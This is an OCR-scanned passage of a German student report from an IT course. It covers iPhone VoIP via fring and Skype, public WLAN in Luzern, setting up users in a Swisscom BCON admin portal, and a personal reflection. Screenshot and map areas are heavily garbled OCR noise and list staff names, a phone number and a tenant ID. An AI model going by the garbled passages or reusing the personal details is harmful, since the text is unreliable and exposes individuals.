Erstaunlich war der Erfolg von der Kommunikation von iPhone zu iPhone. Denn dies war sehr einfach,
nachdem fring installiert war. Da heute haufig ein funktionsfahiges WLAN zur Verfligung steht, kann man so

kostenlos Gber iPhones auf andere iPhones oder in

das Internet telefonieren. Sogar das Nutzen von

Skype-Out ware ein Moglichkeit, um sich (&)

Kostensparend ins Mobil-und Festnetz einzuwahlen. rl n g
BETA

So stellt die fring Alternative eine gute Maoglichkeit It's fringing fresdomi
zur kostenlosen oder glinstigen Telefonie dar.

iPhone Kommunikation per VoIP

-

D = - B

s A g

s “

Semir J.
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6.2.1.1 Die einzige Bedingung - WLAN

Die Grundlage fiir das Telefonieren mit Skype per iPhone ist das vorhanden sein eines Funknetzes.
Heutzutage gibt es (iberall kostenlose Zugdnge. Diese Zugange sind legal verfligbar und einfach nutzbar.

Beispiele sind:

e Starbucks Coffeeshops & ; : . . :
& 2 % \ Cisbergawasse -1: (s,
e McDonalds s % 3
. : o N % i
e viele Hotels « Sy o
) ) . g 4\ =
e verschiedene Stadte: Luzern, Bern... = ’;\‘._-.s' A
o :
. TP . .. . W . . —
Ein gutes Beispiel fur 6ffentlich unterstiitztes WLAN ist ' W/Y‘\.:—P —
das PulicWLAN Luzern, dies wird von den Behérden zur = ' : F*’f
. s )
Verfiigung gestellt. S > _ﬁg\
) = J
»Der lokale Energie- und Wasserversorger ewl energie 1057, L 7 e
. . . . I 2, Bahnhofsrasse_ "‘_5.‘“""*?1' k>
wasser luzern bietet gemeinsam mit Sponsoren ein A 0 %
. . . . v L VL S g, | )
dffentliches WLAN in der Stadt Luzern an. In Teilen der 2 %% R L C RS- Shopping
. o o PR AN 2
Alt- und Neustadt kann gratis und kabellos auf das ; % < v‘;"f; SR %
p! = e \ g1 %
Internet zugegriffen werden. Einfach Luzern.WLAN »,,; 2 \e Z4< &
.. . . . o) '133 D .
anwdhlen und lossurfen. Luzern ist die erste Stadt in der Y U ,’5%1; R s
L . o o cB Y s
Schweiz mit einem grossfldchigen WLAN.“ % AN «%‘;ﬁ- 2kl ¢ AN
s g3 - %,
(http://www.luzern.org/de/navpage-FactsLU- Sing, gf Moossirass, LUZem o
el A \a"’"
LuzernAZLU-211925.html) ) 38 @9&,‘“«@*5 SN
UL g 2 L)

Die Abdeckung erstreckt sich Gber das blau markierte Gebiet. Genauso wie bei der Stadt Bern. Und so ist
man immer und Uberall erreichbar, egal ob per Mail oder in der neusten Moglichkeit per Skype.

Durch Sponsoring von solchen WLANSs ist es moglich, die Technologie weiter voranzutreiben. Denn

Fortschritt ist etwas, wofiir man offen sein muss und immer neues wagen

6.2.2 BCON in Betrieb nehmen

Wir loggen uns auf dieser Site der Swisscom ein: https://wastest.bluewin.ch/adminportal/Welcome.do. Der

Username und das Passwort bekommen wir vom Provider (Swisscom).

' Wir klicken auf NEu.
Qswissom

Mitarbeiter

Mitarbeiter suchen: Suchen

Benutzername:
kursraum?2
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Iseli Matthias
Abdcherli Silvia
o Hurni Andreas Aligemei | |
QJ’Z" Geisler Elisabeth GEIE
1
Bieri Beal ____4wmBIEE, “Obligatorische Felder sind rot markiert
Eschmann |Raphael ESCR Name:* Beat Bieri
[l | Paul MESE
=Sl = Zweiter Name:
Lz ~ZEE — Bemmrzername:* Standardmissig [tenant id =08332079][work extension]
e Ll 2=te Telefon: 0485007324 Suchen
Eqgli Andy EGGR
& Interne Nummer:' 324|
4;\\‘ Dudli Fiorina DUDE
Fax Geschiift:
Bader Alexandra BaDR e bescl
Bolte Jan BOLJ E-Mail Geschaft:
Christen Regina CHER SIP-Benutzern:
Bachmann  |Pster Sprache: Deutsch v
Heiniger Daniel Land: Schweiz hd
Koch Bruno Firmen-Favorit/ Kurzwahinummer : keine w
Gordan Vanessa Zeitzone: Zentraleuropaische Zeit (CET) b
Baumgartner |Larissa ationsgruppe: alle »
Reinhardt _ |Rolf REIR Anrufgruppe: keine v
5 i A
Stalder Gitta STAG Combox:
D Franziska DELF N N
Max. Anz. paralleler SIP-Registrationen: |10
Aeby Georges AEBG
S‘q Bernasconi|Francois BERF
'(—\(P Cajeux Filippa CAJF

Dann erfassen wir den
User in der Maske.

“Obligatoriache Falder sind rot markient.

Name:*

Zweiter Name:

Beat Bieri

Der Benutzername wird
anhand der Tenant-ID
erstellt.

Bemntzername:" Standardmassig [tenant id =08332079][work extension] Wir kénnen auch ein
Telefon: 0485007324 Suchen Kurzwahl fur Innerhalb
Interne Nummer:' 324| auswahlen

<A https:fiwastest, bluewin.ch - Business Connect Professionell Administrator - Microsoft In... In dieser

BECE

berfliche ganz bequem Telgl

Anderungen Speichern

Loschen Abbrechen | zre instzllieren, damit man 4

e —

Lizenzen{Total Benutzt Frei):

COsSVorlage:
Dienste
|:| Abweisen anonymer Anrufe
anklopfen
Anruf auf mehrfach registrierten SIP-Benutzer
Anruf Parkieren
Anrufibernahme
Anrufiibernahme direkt
Anrufiibernahme won Gruppe
Anrufumleitung auf fine Mummer mit Option Combox
Anrufumleitung immer an Combox
Anrufumleitung wenn besetzt
Anrufumleitung wenn keine Antwort
Combox
|:| Eigene Rufnummer immer unterdriicken
Eigene Rufnummer pro Anruf senden
Eigene Rufnummer pro Anruf unterdricken
Gleichzeitig lduten
|:| Hiirbare anrufumleitung
individuelle Rufnummernunterdriickung
Initiieren einer Konferenz direkt aus dem Web-Manager

Intelligente Anrufweiterleitung

Einstellungen

light{10i179) A
EXpER{ZOITI 3)
receptionist{a0/5) ~

adminparkal/EmpSearch.da?cmd=se,
expertexpert

Wiihlrestriktionen

O DM

Lobby only

Sperrset 1

O
|:| Sperrset 2
[ sperrsetz
O

Sperrset 5

Mitarbei
- Ly

Fernmeldedienstanbieter sperren

Anrufe anderer

Anrufe auf Vermittler anderar
Farnmeldedienstanbiater sparren

Suchergebnis

Ilvia sbacherdi 3

Beat Bier

Peter Huber ]

@1 Fertig

Andreas Hurni |

@ G Inkernet

I Matthias Iseli
F= T

Konfigurationsoberflache
kann man sehr viel
einstellen. Dabei ist auch
auf die Lizenz zu achten!
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6.2.2.1 Telefonieren iiber BCON

Nach dem Einloggen kann man lber die Oberflache ganz bequem Telefonieren. Auf dem Client muss man
nur die BCON-Software installieren, damit man sich Ubers Internet mit Swisscon verbinden kann.

E=at Bieri 0455007324, 083 320 79 324 4620058 1420
Er 1 eichilsn heils-Pronl: Sic halen: werilgbar
[2m arbeitspiatz [+] 0 werpasse Anrufe

Frofile bearbeltan

2425007 34949 Linie 2 Linie 3 Linie 4
@ aktrr @ Fral @ Fral @ Frel
hliv
0485007344

Anraidauer: 00:0124

i< ] - J Haltzn J

ieiterleiten J Farkieen J Video Ein

Annr dbemehmen

1 2 a direht I parierter Anruf wan Fruppe I

ABC  DEF
i‘] i] £J Lautsprecher & [-)J——@——+||_Ein
GHI  JKL  MNO Mikofon  g? -] ———u——+]  Ein

_?_J _S—J _g—J Rufan ﬁ Ein

PORS TUY W

EEmm o

Gespeichert: Aufnahmen

Programmierbare Tasten

Eigenes Bild ausblendenJ

(i swisscom

Auf dem Screenshot sieht man die Oberflache zum Telefonieren. Diese erklart sich mehrheitlich von alleine.
Es hat sogar eine Funktion fir die Webcam. Diese Funktion funktionierte bei uns aber nicht so gut. Wir
hatten viele Probleme damit. Oft konnte die Webcam-Verbindung gar nicht aufbauen, oder es stockte.
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7 Reflexion

Dieser Kurs war einfach genial! Ich lernte sehr viel dazu. Beim LAN erstellen schrieb ich ein grosses Script,
das fiir alle Filialen alles erstellt. Das machte sehr viel Spass.

Mit dem Kursleiter konnten wir Gber Gott, Gottin und liber die Welt reden. Freddi war sehr ,human®.

Ich habe das erste Mal mit VLAN und VolP gearbeitet. Endlich hatte ich die Moglichkeit ein WLAN legal zu
»hacken”. Ich las schon sehr viel dariiber und probierte schon sehr viel aus. Doch nun geht es super.

e Das Kursziel war nicht ganz bekannt, da wir keine Hanoks hatten.

e Der Kursleiter war sehr human / menschlich. Ich lernte auch viel Nicht-Informatisches dazu!!
Buchtipps und Filmtipps!

e Wir hatten gute Unterlagen, Google und Wikipedia. Viele Schiiler hatten schon ein grosses
Vorwissen.

e Wenn wir Probleme hatten, fragten wir. Er sagte uns nicht direkt die Lésung sondern flihrte uns zum
Ziel! Super!

e Ich habe alles gegeben beim Kurs. Ich machte es mir selber auch sehr spannend!
e Dadies der erste Kurs war, kann man an den Unterlagen noch Verbesserungen anbringen.
e Vieles werden wir in der Praxis wiederfinden.

e Die Kursdauer war viel zu kurz! Vieles konnten wir nicht ganz fertig machen und man kénnte noch
viel mehr probieren.

e VolIP, VLAN und WLAN hatten wir noch gar nie in der Schule.... Deshalb lernten wir viel.

e Das Image funktionierte am Anfang nicht richtig. Die sonstige Infrastruktur ist sehr gut! Wir bekamen
neue Headsets und Webcams von Logical! ©

e Wir wussten immer, was wir zu tun haben.

Der gebastelte Drache machte Spass! Irgendwie unheimlich!
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8 Glossary

Replizieren Kopieren von Daten von einem Ziel zu einem anderen.

Synchronisieren | Man bringt zwei Datenbestdnde auf denselben Stand.

46 | 46 2008-06-04



